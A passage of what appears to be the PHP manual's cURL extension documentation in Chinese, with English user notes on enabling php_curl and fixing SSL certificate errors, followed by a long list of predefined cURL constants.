The instructions others have courteously given still lack one small item for those who have the Windows/system32 directory as the repository for the .dll files concerned with php_curl.

Go to the ext directory of your php installation and copy php_curl.dll  to the Windows/system32 folder after you have followed the advise given elsewhere.

So ...
1) remove ';' from extension=php_curl.dll in php.ini
2) ensure that  ssleay32.dll and libeay32.dll are in Windows/system32.
3) Copy php_curl.dll into Windows\System32 as well.

G'day

bearstate
regs at voidship dot net 23-Sep-2008 09:45
If you're dense like I am, spare yourself the trouble on an Ubuntu system (probably Debian too) and...

$ sudo apt-get install php5-curl

Then feel dumb, but not as dumb as me.
cristianods at yahoo dot com 14-Aug-2008 06:53
Tip for Installing cURL with AppServ development server on Windows

If you are running AppServ as a WAMP development environment on a Windows machine, you may experience difficulty installing cURL. Here are some helpful steps:

First go to the PHP directory and copy the following libraries to the windows/system32 dir.
ssleay32.dll
libeay32.dll

Open the php ini file and remove the ; from extension=php_curl.dll

Reboot your machine to load [...]
comments at adstation-systems dot com 09-Aug-2008 08:23
You may be confused, as I was, by the instructions for installing cURL in php.  The instruction "To use PHP's cURL support you must also compile PHP --with-curl[=DIR]..." was murky to me, since I didn't compile php when I installed it.  I just copied all of the necessary files to the correct folders as described very clearly in the php manual.

I am using Windows XP and Apache with php 5.1.6. In this situation, and it may apply to php versions of 5.0 and later, all one needs to do is remove the ";" from the front of the directive extension=php_curl.dll.  You should also check to make certain that libeay32.dll and ssleay32.dll are in your php directory with the other dll's.  This directory should already be in you path, so the instruction to put them in you path is not critical.

You can then run phpinfo() and you should see a heading for curl in the listing.

Succinctly, my installation of cURL consisted of removing the semi-colon in front of the ;extension=php_curl.dll line in php.ini, saving php.ini and restarting Apache.  You may wish to try this if you are using php 5.0 and later and are having difficulty understanding the instructions on the cURL installation page at php.net

You might also find the information at http://curl.phptrack.com/forum/viewtopic.php?t=52 useful.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

cURL 配置选项
名字 | 默认 | 可修改范围 | 更新日志
curl.cainfo | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

curl.cainfo string

CURLOPT_CAINFO 选项的一个默认值。这个值必须是一个绝对路径。

User Contributed Notes

knuklus at gmail dot com 17-Sep-2021 06:33
cURL error 60: SSL certificate problem: unable to get local issuer certificate

This problem can occur when developing locally on windows. I am using windows 10 (x64)

In order to fix the error, I downloaded cacert.pem from https://curl.haxx.se/docs/caextract.html

Set the following value for in php.ini

curl.cainfo = "C: \ php-8.0.7 \ extras \ ssl \ cacert.pem"
ajith at pavanathara dot com 04-Sep-2020 07:02
I was editing wrong php.ini file in last comment.

Even though loaded configuration path was showing as "D:\wamp64\bin\apache\apache2.4.37\bin\php.ini" inside phpinfo() of WAMP Server, It was actually loading "D:\wamp64\bin\apache\apache2.4.37\bin\phpForApache.ini"

Once I set both the variables inside phpForApache.ini, details are displayed in phpinfo() and error has gone without extra coding line.
ajith at pavanathara dot com 04-Sep-2020 05:36
cURL error 60: SSL certificate problem: unable to get local issuer certificate

This local development error comes when curl.cainfo variable is not set correctly.

I faced this issue in PHP Version 7.3.1

In order to fix the error, I downloaded cacert.pem from https://curl.haxx.se/docs/caextract.html

Set the following paths in php.ini

curl.cainfo="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"
openssl.cafile="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"

Even after adding the paths and restart Apache, Inside phpinfo(), both the paths were showing blank.

The error will go only if we set via php code of the project.

Example code worked for me :-

$guzzle = new \GuzzleHttp\Client(['verify' => 'D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem']);
ASchmidt at Anamera dot net 12-May-2019 10:34
As of PHP 7.2 (Win 64) this directive, will NOT show in the phpinfo() even though it's set.

(In comparison, an openssl.cafile directive will show, if it's set to the exact same path).


资源类型

在 PHP 8.0.0 之前，此扩展定义了三种资源类型：curl 句柄、 curl_multi 句柄和 curl_share 句柄。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

curl_setopt()、curl_multi_setopt()、 curl_getinfo() 文档中常量的描述和使用。

CURLOPT_AUTOREFERER (int)
CURLOPT_COOKIESESSION (int)
CURLOPT_DOH_URL (int)
提供 DNS-over-HTTPS URL。 从 PHP 8.1.0 和 cURL 7.62.0 开始可用。
CURLOPT_DOH_SSL_VERIFYHOST (int)
根据主机名验证 DNS-over-HTTPS 服务器的 SSL 证书名称字段。自 PHP 8.2.0 和 cURL 7.76.0 版本可用。
CURLOPT_DOH_SSL_VERIFYPEER (int)
验证 DNS-over-HTTPS 服务器的 SSL 证书的真实性。自 PHP 8.2.0 和 cURL 7.76.0 版本可用。
CURLOPT_DOH_SSL_VERIFYSTATUS (int)
告诉 cURL 使用"证书状态请求"TLS 扩展（OCSP stapling）验证 DNS-over-HTTPS 服务器证书的状态。自 PHP 8.2.0 和 cURL 7.76.0 版本可用。
CURLOPT_DNS_USE_GLOBAL_CACHE (int)
CURLOPT_DNS_CACHE_TIMEOUT (int)
CURLOPT_FTP_SSL (int)
CURLFTP_CREATE_DIR (int)
自 PHP 7.0.7 和 cURL 7.19.3 起可用
CURLFTP_CREATE_DIR_NONE (int)
自 PHP 7.0.7 和 cURL 7.19.3 起可用
CURLFTP_CREATE_DIR_RETRY (int)
自 PHP 7.0.7 和 cURL 7.19.3 起可用
CURLFTPSSL_TRY (int)
CURLFTPSSL_ALL (int)
CURLFTPSSL_CONTROL (int)
CURLFTPSSL_NONE (int)
CURLFTPMETHOD_DEFAULT (int)
自 PHP 8.2.0 和 cURL 7.15.3 起可用。
CURLOPT_PRIVATE (int)
CURLOPT_FTPSSLAUTH (int)
CURLOPT_PORT (int)
CURLOPT_FILE (int)
CURLOPT_INFILE (int)
CURLOPT_INFILESIZE (int)
CURLOPT_ISSUERCERT_BLOB (int)
来自内存 blob 的颁发者 SSL 证书。 自 PHP 8.1.0 和 cURL 7.71.0 开始可用。
CURLOPT_URL (int)
CURLOPT_PROXY (int)
CURLOPT_PROXY_ISSUERCERT (int)
代理颁发者 SSL 证书文件名。 自 PHP 8.1.0 和 cURL 7.71.0 开始可用。
CURLOPT_PROXY_ISSUERCERT_BLOB (int)
来自内存 blob 的代理颁发者 SSL 证书。 自 PHP 8.1.0 和 cURL 7.71.0 开始可用。
CURLOPT_PROXY_SSLCERT_BLOB (int)
来自内存 blob 的 SSL 代理客户端证书。 自 PHP 8.1.0 和 cURL 7.71.0 开始可用。
CURLOPT_PROXY_SSLKEY_BLOB (int)
来自内存 blob 的代理证书的私钥。 自 PHP 8.1.0 和 cURL 7.71.0 开始可用。
CURLOPT_VERBOSE (int)
CURLOPT_ALTSVC (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLOPT_ALTSVC_CTRL (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLALTSVC_H1 (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLALTSVC_H2 (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLALTSVC_H3 (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLALTSVC_READONLYFILE (int)
自 PHP 8.2.0 和 cURL 7.64.1 起可用。
CURLOPT_HEADER (int)
CURLOPT_HTTPHEADER (int)
CURLOPT_NOPROGRESS (int)
CURLOPT_NOBODY (int)
CURLOPT_FAILONERROR (int)
CURLOPT_UPLOAD (int)
CURLOPT_UPLOAD_BUFFERSIZE (int)
自 PHP 8.2.0 和 cURL 7.62.0 起可用
CURLOPT_POST (int)
CURLOPT_FTPLISTONLY (int)
CURLOPT_FTPAPPEND (int)
CURLOPT_FTP_CREATE_MISSING_DIRS (int)
CURLOPT_NETRC (int)
CURLOPT_FOLLOWLOCATION (int)
当启用 open_basedir 时，此常量不可用。
CURLOPT_FTPASCII (int)
CURLOPT_PUT (int)
CURLOPT_MUTE (int)
自 cURL 7.15.5 起删除；请改用 CURLOPT_RETURNTRANSFER。
CURLOPT_USERPWD (int)
CURLOPT_PROXYUSERPWD (int)
CURLOPT_RANGE (int)
CURLOPT_TIMEOUT (int)
CURLOPT_TIMEOUT_MS (int)
CURLOPT_TCP_NODELAY (int)
CURLOPT_POSTFIELDS (int)
CURLOPT_PROGRESSFUNCTION (int)
CURLOPT_REFERER (int)
CURLOPT_USERAGENT (int)
CURLOPT_FTPPORT (int)
CURLOPT_FTP_USE_EPSV (int)
CURLOPT_LOW_SPEED_LIMIT (int)
CURLOPT_LOW_SPEED_TIME (int)
CURLOPT_RESUME_FROM (int)
CURLOPT_COOKIE (int)
CURLOPT_COOKIELIST (int)
自 cURL 7.14.1 起可用
CURLOPT_SSLCERT (int)
CURLOPT_SSLCERT_BLOB (int)
来自内存 blob 的 SSL 客户端证书。 自 PHP 8.1.0 和 cURL 7.71.0 起可用。
CURLOPT_SSLCERTPASSWD (int)
CURLOPT_SSLKEY_BLOB (int)
来自内存 blob 的客户端证书的私钥。 自 PHP 8.1.0 和 cURL 7.71.0 起可用。
CURLOPT_WRITEHEADER (int)
CURLOPT_SSL_VERIFYHOST (int)
CURLOPT_COOKIEFILE (int)
CURLOPT_SSLVERSION (int)
CURL_SSLVERSION_DEFAULT (int)
CURL_SSLVERSION_TLSv1 (int)
CURL_SSLVERSION_SSLv2 (int)
CURL_SSLVERSION_SSLv3 (int)
CURL_SSLVERSION_TLSv1_0 (int)
CURL_SSLVERSION_TLSv1_1 (int)
CURL_SSLVERSION_TLSv1_2 (int)
CURL_SSLVERSION_TLSv1_3 (int)
CURLOPT_TIMECONDITION (int)
CURLOPT_TIMEVALUE (int)
CURLOPT_CUSTOMREQUEST (int)
CURLOPT_STDERR (int)
CURLOPT_TRANSFERTEXT (int)
CURLOPT_RETURNTRANSFER (int)
CURLOPT_QUOTE (int)
CURLOPT_POSTQUOTE (int)
CURLOPT_INTERFACE (int)
CURLOPT_KRB4LEVEL (int)
CURLOPT_HTTPPROXYTUNNEL (int)
CURLOPT_FILETIME (int)
CURLOPT_WRITEFUNCTION (int)
CURLOPT_READFUNCTION (int)
CURLOPT_PASSWDFUNCTION (int)
自 PHP 7.3.0 起移除。
CURLOPT_HEADERFUNCTION (int)
CURLOPT_MAXAGE_CONN (int)
自 PHP 8.2.0 和 cURL 7.65.0 起可用
CURLOPT_MAXFILESIZE_LARGE (int)
自 PHP 8.2.0 和 cURL 7.11.0 起可用
CURLOPT_MAXLIFETIME_CONN (int)
自 PHP 8.2.0 和 cURL 7.80.0 起可用
CURLOPT_MAXREDIRS (int)
CURLOPT_MAXCONNECTS (int)
CURLOPT_FRESH_CONNECT (int)
CURLOPT_FORBID_REUSE (int)
CURLOPT_RANDOM_FILE (int)
CURLOPT_EGDSOCKET (int)
CURLOPT_CONNECTTIMEOUT (int)
CURLOPT_CONNECTTIMEOUT_MS (int)
CURLOPT_SSL_VERIFYPEER (int)
CURLOPT_CAINFO (int)
CURLOPT_CAINFO_BLOB (int)
自 PHP 8.2.0 和 cURL 7.77.0 起可用
CURLOPT_CAPATH (int)
CURLOPT_COOKIEJAR (int)
CURLOPT_SSL_CIPHER_LIST (int)
CURLOPT_SSL_EC_CURVES (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLOPT_BINARYTRANSFER (int)
CURLOPT_NOSIGNAL (int)
CURLOPT_PROXYTYPE (int)
自 cURL 7.10 起可用。
CURLOPT_BUFFERSIZE (int)
CURLOPT_HTTPGET (int)
CURLOPT_HTTP_VERSION (int)
CURLOPT_HSTS (int)
自 PHP 8.2.0 和 cURL 7.74.0 起可用
CURLOPT_HSTS_CTRL (int)
自 PHP 8.2.0 和 cURL 7.74.0 起可用
CURLHSTS_ENABLE (int)
自 PHP 8.2.0 和 cURL 7.74.0 起可用
CURLHSTS_READONLYFILE (int)
自 PHP 8.2.0 和 cURL 7.74.0 起可用
CURLOPT_SSLKEY (int)
CURLOPT_SSLKEYTYPE (int)
CURLOPT_SSLKEYPASSWD (int)
CURLOPT_SSLENGINE (int)
CURLOPT_SSLENGINE_DEFAULT (int)
CURLOPT_SSLCERTTYPE (int)
CURLOPT_CRLF (int)
CURLOPT_ENCODING (int)
CURLOPT_PROXYPORT (int)
CURLOPT_UNRESTRICTED_AUTH (int)
CURLOPT_FTP_USE_EPRT (int)
CURLOPT_HTTP200ALIASES (int)
CURLOPT_HTTPAUTH (int)
CURLOPT_AWS_SIGV4 (int)
自 PHP 8.2.0 和 cURL 7.75.0 起可用
CURLAUTH_BASIC (int)
CURLAUTH_DIGEST (int)
CURLAUTH_GSSNEGOTIATE (int)
CURLAUTH_NEGOTIATE (int)
自 PHP 7.0.7 和 cURL 7.38.0 起可用。
CURLAUTH_NTLM (int)
CURLAUTH_NTLM_WB (int)
自 PHP 7.0.7 和 cURL 7.22.0 起可用
CURLAUTH_ANY (int)
CURLAUTH_ANYSAFE (int)
CURLAUTH_AWS_SIGV4 (int)
自 PHP 8.2.0 和 cURL 7.75.0 起可用。
CURLOPT_PROXYAUTH (int)
CURLOPT_MAIL_RCPT_ALLLOWFAILS (int)
自 PHP 8.2.0 和 cURL 7.69.0 起可用
CURLOPT_UPKEEP_INTERVAL_MS (int)
自 PHP 8.2.0 和 cURL 7.62.0 起可用
CURLOPT_MAX_RECV_SPEED_LARGE (int)
自 cURL 7.15.5 起可用
CURLOPT_MAX_SEND_SPEED_LARGE (int)
自 cURL 7.15.5 起可用
CURLOPT_HEADEROPT (int)
自 PHP 7.0.7 和 cURL 7.37.0 起可用
CURLOPT_PROXYHEADER (int)
自 PHP 7.0.7 和 cURL 7.37.0 起可用
CURLINFO_PRIVATE (int)
CURLINFO_EFFECTIVE_URL (int)
CURLINFO_HTTP_CODE (int)
自 cURL 7.10.8 起，这是 CURLINFO_RESPONSE_CODE 的旧别名
CURLINFO_PROXY_ERROR (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_BAD_ADDRESS_TYPE (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_BAD_VERSION (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_CLOSED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_GSSAPI (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_GSSAPI_PERMSG (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_GSSAPI_PROTECTION (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_IDENTD_DIFFER (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_IDENTD (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_LONG_HOSTNAME (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_LONG_PASSWD (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_LONG_USER (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_NO_AUTH (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_OK (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_RECV_ADDRESS (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_RECV_AUTH (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_RECV_CONNECT (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_RECV_REQACK (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_ADDRESS_TYPE_NOT_SUPPORTED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_COMMAND_NOT_SUPPORTED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_CONNECTION_REFUSED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_GENERAL_SERVER_FAILURE (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_HOST_UNREACHABLE (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_NETWORK_UNREACHABLE (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_NOT_ALLOWED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_TTL_EXPIRED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REPLY_UNASSIGNED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_REQUEST_FAILED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_RESOLVE_HOST (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_SEND_AUTH (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_SEND_CONNECT (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_SEND_REQUEST (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_UNKNOWN_FAIL (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_UNKNOWN_MODE (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLPX_USER_REJECTED (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLINFO_REFERER (int)
自 PHP 8.2.0 和 cURL 7.76.0 起可用
CURLINFO_RESPONSE_CODE (int)
自 cURL 7.10.8 起可用
CURLINFO_RETRY_AFTER (int)
自 PHP 8.2.0 和 cURL 7.66.0 起可用
CURLINFO_HEADER_OUT (int)
CURLINFO_HEADER_SIZE (int)
CURLINFO_REQUEST_SIZE (int)
CURLINFO_TOTAL_TIME (int)
CURLINFO_NAMELOOKUP_TIME (int)
CURLINFO_CONNECT_TIME (int)
CURLINFO_PRETRANSFER_TIME (int)
CURLINFO_SIZE_UPLOAD (int)
CURLINFO_SIZE_DOWNLOAD (int)
CURLINFO_SPEED_DOWNLOAD (int)
CURLINFO_SPEED_UPLOAD (int)
CURLINFO_FILETIME (int)
CURLINFO_SSL_VERIFYRESULT (int)
CURLINFO_CONTENT_LENGTH_DOWNLOAD (int)
CURLINFO_CONTENT_LENGTH_UPLOAD (int)
CURLINFO_STARTTRANSFER_TIME (int)
CURLINFO_CONTENT_TYPE (int)
CURLINFO_REDIRECT_TIME (int)
CURLINFO_REDIRECT_COUNT (int)
CURLINFO_REDIRECT_URL (int)
CURLINFO_PRIMARY_IP (int)
CURLINFO_PRIMARY_PORT (int)
CURLINFO_LOCAL_IP (int)
CURLINFO_LOCAL_PORT (int)
CURL_PUSH_OK (int)
自 PHP 7.1.0 和 cURL 7.44.0 起可用
CURL_PUSH_DENY (int)
自 PHP 7.1.0 和 cURL 7.44.0 起可用
CURL_REDIR_POST_301 (int)
自 PHP 7.0.7 和 cURL 7.18.2 起可用
CURL_REDIR_POST_302 (int)
自 PHP 7.0.7 和 cURL 7.18.2 起可用
CURL_REDIR_POST_303 (int)
自 PHP 7.0.7 和 cURL 7.25.1 起可用
CURL_REDIR_POST_ALL (int)
自 PHP 7.0.7 和 cURL 7.18.2 起可用
CURL_TIMECOND_NONE (int)
CURL_TIMECOND_IFMODSINCE (int)
CURL_TIMECOND_IFUNMODSINCE (int)
CURL_TIMECOND_LASTMOD (int)
CURL_VERSION_ALTSVC (int)
自 PHP 7.3.6 和 cURL 7.64.1 起可用
CURL_VERSION_ASYNCHDNS (int)
异步 DNS 解析。 自 PHP 7.3.0 和 cURL 7.10.7 起可用
CURL_VERSION_BROTLI (int)
自 PHP 7.3.0 和 cURL 7.57.0 起可用
CURL_VERSION_CONV (int)
字符转换支持。 自 PHP 7.3.0 和 cURL 7.15.4 起可用
CURL_VERSION_CURLDEBUG (int)
调试内存跟踪支持。 自 PHP 7.3.6 和 cURL 7.19.6 起可用
CURL_VERSION_DEBUG (int)
内置调试功能。 自 PHP 7.3.0 和 cURL 7.10.6 起可用
CURL_VERSION_GSASL (int)
自 PHP 8.2.0 和 cURL 7.76.0 起可用
CURL_VERSION_GSSAPI (int)
基于 GSS-API 库构建。 自 PHP 7.3.0 和 cURL 7.38.0 起可用
CURL_VERSION_GSSNEGOTIATE (int)
支持 协商（Negotiate）身份验证。 自 PHP 7.3.0 和 cURL 7.10.6 起可用（自 7.38.0 起弃用）
CURL_VERSION_HSTS (int)
自 PHP 8.2.0 和 cURL 7.74.0 起可用
CURL_VERSION_IDN (int)
国际化域名支持。 自 PHP 7.3.0 和 cURL 7.12.0 起可用
CURL_VERSION_MULTI_SSL (int)
自 PHP 7.3.0 和 cURL 7.56.0 起可用
CURL_VERSION_NTLM (int)
NTLM 身份验证支持。 自 PHP 7.3.0 和 cURL 7.10.6 起可用
CURL_VERSION_NTLM_WB (int)
支持 NTLM 委派给 winbind 助手。 自 PHP 7.3.0 和 cURL 7.22.0 起可用
CURL_VERSION_IPV6 (int)
启用 IPv6。
CURL_VERSION_KERBEROS4 (int)
Kerberos V4 身份验证支持。
CURL_VERSION_KERBEROS5 (int)
Kerberos V5 身份验证支持。 自 PHP 7.0.7 和 cURL 7.40.0 起可用
CURL_VERSION_HTTP2 (int)
内置 HTTP2 支持。 自 cURL 7.33.0 起可用
CURL_VERSION_HTTP3 (int)
自 PHP 8.2.0 和 cURL 7.66.0 起可用
CURL_VERSION_LARGEFILE (int)
支持大于 2GB 的文件。 自 cURL 7.33.0 起可用
CURL_VERSION_PSL (int)
Mozilla 的公共后缀列表，用于 cookie 域验证。 自 PHP 7.3.6 和 cURL 7.47.0 起可用
CURL_VERSION_SPNEGO (int)
SPNEGO 身份验证支持。 自 PHP 7.3.0 和 cURL 7.10.8 起可用
CURL_VERSION_SSPI (int)
基于 Windows SSPI 构建。 自 PHP 7.3.0 和 cURL 7.13.2 起可用
CURL_VERSION_SSL (int)
存在 SSL 选项。
CURL_VERSION_TLSAUTH_SRP (int)
TLS-SRP 身份验证支持。 自 PHP 7.3.0 和 cURL 7.21.4 起可用
CURL_VERSION_UNICODE (int)
自 PHP 8.2.0 和 cURL 7.72.0 起可用
CURL_VERSION_UNIX_SOCKETS (int)
Unix 域套接字支持。 自 PHP 7.0.7 和 cURL 7.40.0 起可用
CURL_VERSION_ZSTD (int)
自 PHP 8.2.0 和 cURL 7.72.0 起可用
CURL_VERSION_LIBZ (int)
存在 libz 功能。
CURLVERSION_NOW (int)
CURLE_OK (int)
CURLE_UNSUPPORTED_PROTOCOL (int)
CURLE_FAILED_INIT (int)
CURLE_URL_MALFORMAT (int)
CURLE_URL_MALFORMAT_USER (int)
CURLE_COULDNT_RESOLVE_PROXY (int)
CURLE_COULDNT_RESOLVE_HOST (int)
CURLE_COULDNT_CONNECT (int)
CURLE_FTP_WEIRD_SERVER_REPLY (int)
CURLE_FTP_ACCESS_DENIED (int)
CURLE_FTP_USER_PASSWORD_INCORRECT (int)
CURLE_FTP_WEIRD_PASS_REPLY (int)
CURLE_FTP_WEIRD_USER_REPLY (int)
CURLE_FTP_WEIRD_PASV_REPLY (int)
CURLE_FTP_WEIRD_227_FORMAT (int)
CURLE_FTP_CANT_GET_HOST (int)
CURLE_FTP_CANT_RECONNECT (int)
CURLE_FTP_COULDNT_SET_BINARY (int)
CURLE_PARTIAL_FILE (int)
CURLE_PROXY (int)
自 PHP 8.2.0 和 cURL 7.73.0 起可用
CURLE_FTP_COULDNT_RETR_FILE (int)
CURLE_FTP_WRITE_ERROR (int)
CURLE_FTP_QUOTE_ERROR (int)
CURLE_HTTP_NOT_FOUND (int)
CURLE_WRITE_ERROR (int)
CURLE_MALFORMAT_USER (int)
CURLE_FTP_COULDNT_STOR_FILE (int)
CURLE_READ_ERROR (int)
CURLE_OUT_OF_MEMORY (int)
CURLE_OPERATION_TIMEOUTED (int)
CURLE_FTP_COULDNT_SET_ASCII (int)
CURLE_FTP_PORT_FAILED (int)
CURLE_FTP_COULDNT_USE_REST (int)
CURLE_FTP_COULDNT_GET_SIZE (int)
CURLE_HTTP_RANGE_ERROR (int)
CURLE_HTTP_POST_ERROR (int)
CURLE_SSL_CONNECT_ERROR (int)
CURLE_FTP_BAD_DOWNLOAD_RESUME (int)
CURLE_FILE_COULDNT_READ_FILE (int)
CURLE_LDAP_CANNOT_BIND (int)
CURLE_LDAP_SEARCH_FAILED (int)
CURLE_LIBRARY_NOT_FOUND (int)
CURLE_FUNCTION_NOT_FOUND (int)
CURLE_ABORTED_BY_CALLBACK (int)
CURLE_BAD_FUNCTION_ARGUMENT (int)
CURLE_BAD_CALLING_ORDER (int)
CURLE_HTTP_PORT_FAILED (int)
CURLE_BAD_PASSWORD_ENTERED (int)
CURLE_TOO_MANY_REDIRECTS (int)
CURLE_UNKNOWN_TELNET_OPTION (int)
CURLE_TELNET_OPTION_SYNTAX (int)
CURLE_OBSOLETE (int)
CURLE_SSL_PEER_CERTIFICATE (int)
CURLE_GOT_NOTHING (int)
CURLE_SSL_ENGINE_NOTFOUND (int)
CURLE_SSL_ENGINE_SETFAILED (int)
CURLE_SEND_ERROR (int)
CURLE_RECV_ERROR (int)
CURLE_SHARE_IN_USE (int)
CURLE_SSL_CERTPROBLEM (int)
CURLE_SSL_CIPHER (int)
CURLE_SSL_CACERT (int)
CURLE_BAD_CONTENT_ENCODING (int)
CURLE_LDAP_INVALID_URL (int)
CURLE_FILESIZE_EXCEEDED (int)
CURLE_FTP_SSL_FAILED (int)
CURLE_SSH (int)
自 cURL 7.16.1 起可用。
CURLFTPAUTH_DEFAULT (int)
CURLFTPAUTH_SSL (int)
CURLFTPAUTH_TLS (int)
CURLPROXY_HTTP (int)
自 cURL 7.10 起可用。
CURLPROXY_HTTP_1_0 (int)
自 PHP 7.0.7 和 cURL 7.19.3 起可用
CURLPROXY_SOCKS4 (int)
自 cURL 7.10 起可用。
CURLPROXY_SOCKS5 (int)
自 cURL 7.10 起可用。
CURL_NETRC_OPTIONAL (int)
CURL_NETRC_IGNORED (int)
CURL_NETRC_REQUIRED (int)
CURL_HTTP_VERSION_NONE (int)
CURL_HTTP_VERSION_1_0 (int)
CURL_HTTP_VERSION_1_1 (int)
CURL_HTTP_VERSION_2 (int)
自 PHP 7.0.7 和 cURL 7.43.0 起可用
CURL_HTTP_VERSION_2_0 (int)
自 cURL 7.33.0 起可用
CURL_HTTP_VERSION_2TLS (int)
自 PHP 7.0.7 和 cURL 7.47.0 起可用
CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE (int)
自 PHP 7.0.7 和 cURL 7.49.0 起可用
CURLM_CALL_MULTI_PERFORM (int)
CURLM_OK (int)
CURLM_BAD_HANDLE (int)
CURLM_BAD_EASY_HANDLE (int)
CURLM_OUT_OF_MEMORY (int)
CURLM_INTERNAL_ERROR (int)
CURLMSG_DONE (int)
CURLOPT_KEYPASSWD (int)
CURLOPT_SSH_AUTH_TYPES (int)
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 (int)
CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 (int)
自 PHP 8.2.0 和 cURL 7.80.0 起可用
CURLOPT_SSH_PRIVATE_KEYFILE (int)
CURLOPT_SSH_PUBLIC_KEYFILE (int)
CURLOPT_SSL_OPTIONS (int)
自 cURL 7.25.0 起可用
CURLSSLOPT_ALLOW_BEAST (int)
自 cURL 7.25.0 起可用
CURLSSLOPT_NO_REVOKE (int)
自 PHP 7.0.7 和 cURL 7.44.0 起可用
CURLSSLOPT_AUTO_CLIENT_CERT (int)
自 PHP 8.2.0 和 cURL 7.77.0 起可用
CURLSSLOPT_NATIVE_CA (int)
自 PHP 8.2.0 和 cURL 7.71.0 起可用
CURLSSLOPT_NO_PARTIALCHAIN (int)
自 PHP 8.2.0 和 cURL 7.68.0 起可用
CURLSSLOPT_REVOKE_BEST_EFFORT (int)
自 PHP 8.2.0 和 cURL 7.70.0 起可用
CURLOPT_USERNAME (int)
自 cURL 7.19.1 起可用
CURLOPT_SASL_AUTHZID (int)
自 PHP 8.2.0 和 cURL 7.66.0 起可用
CURLOPT_SASL_IR (int)
自 PHP 7.0.7 和 cURL 7.31.0 起可用
CURLOPT_DNS_INTERFACE (int)
自 PHP 7.0.7 和 cURL 7.33.0 起可用
CURLOPT_DNS_LOCAL_IP4 (int)
自 PHP 7.0.7 和 cURL 7.33.0 起可用
CURLOPT_DNS_LOCAL_IP6 (int)
自 PHP 7.0.7 和 cURL 7.33.0 起可用
CURLOPT_XOAUTH2_BEARER (int)
自 PHP 7.0.7 和 cURL 7.33.0 起可用
CURLOPT_LOGIN_OPTIONS (int)
自 PHP 7.0.7 和 cURL 7.34.0 起可用
CURLOPT_EXPECT_100_TIMEOUT_MS (int)
自 PHP 7.0.7 和 cURL 7.36.0 起可用
CURLOPT_SSL_ENABLE_ALPN (int)
自 PHP 7.0.7 和 cURL 7.36.0 起可用
CURLOPT_SSL_ENABLE_NPN (int)
自 PHP 7.0.7 和 cURL 7.36.0 起可用
CURLOPT_PINNEDPUBLICKEY (int)
自 PHP 7.0.7 和 cURL 7.39.0 起可用
CURLOPT_UNIX_SOCKET_PATH (int)
自 PHP 7.0.7 和 cURL 7.40.0 起可用
CURLOPT_SSL_VERIFYSTATUS (int)
自 PHP 7.0.7 和 cURL 7.41.0 起可用
CURLOPT_PATH_AS_IS (int)
自 PHP 7.0.7 和 cURL 7.42.0 起可用
CURLOPT_SSL_FALSESTART (int)
自 PHP 7.0.7 和 cURL 7.42.0 起可用
CURLOPT_PIPEWAIT (int)
自 PHP 7.0.7 和 cURL 7.43.0 起可用
CURLOPT_PROXY_SERVICE_NAME (int)
自 PHP 7.0.7 和 cURL 7.43.0 起可用
CURLOPT_SERVICE_NAME (int)
自 PHP 7.0.7 和 cURL 7.43.0 起可用
CURLOPT_DEFAULT_PROTOCOL (int)
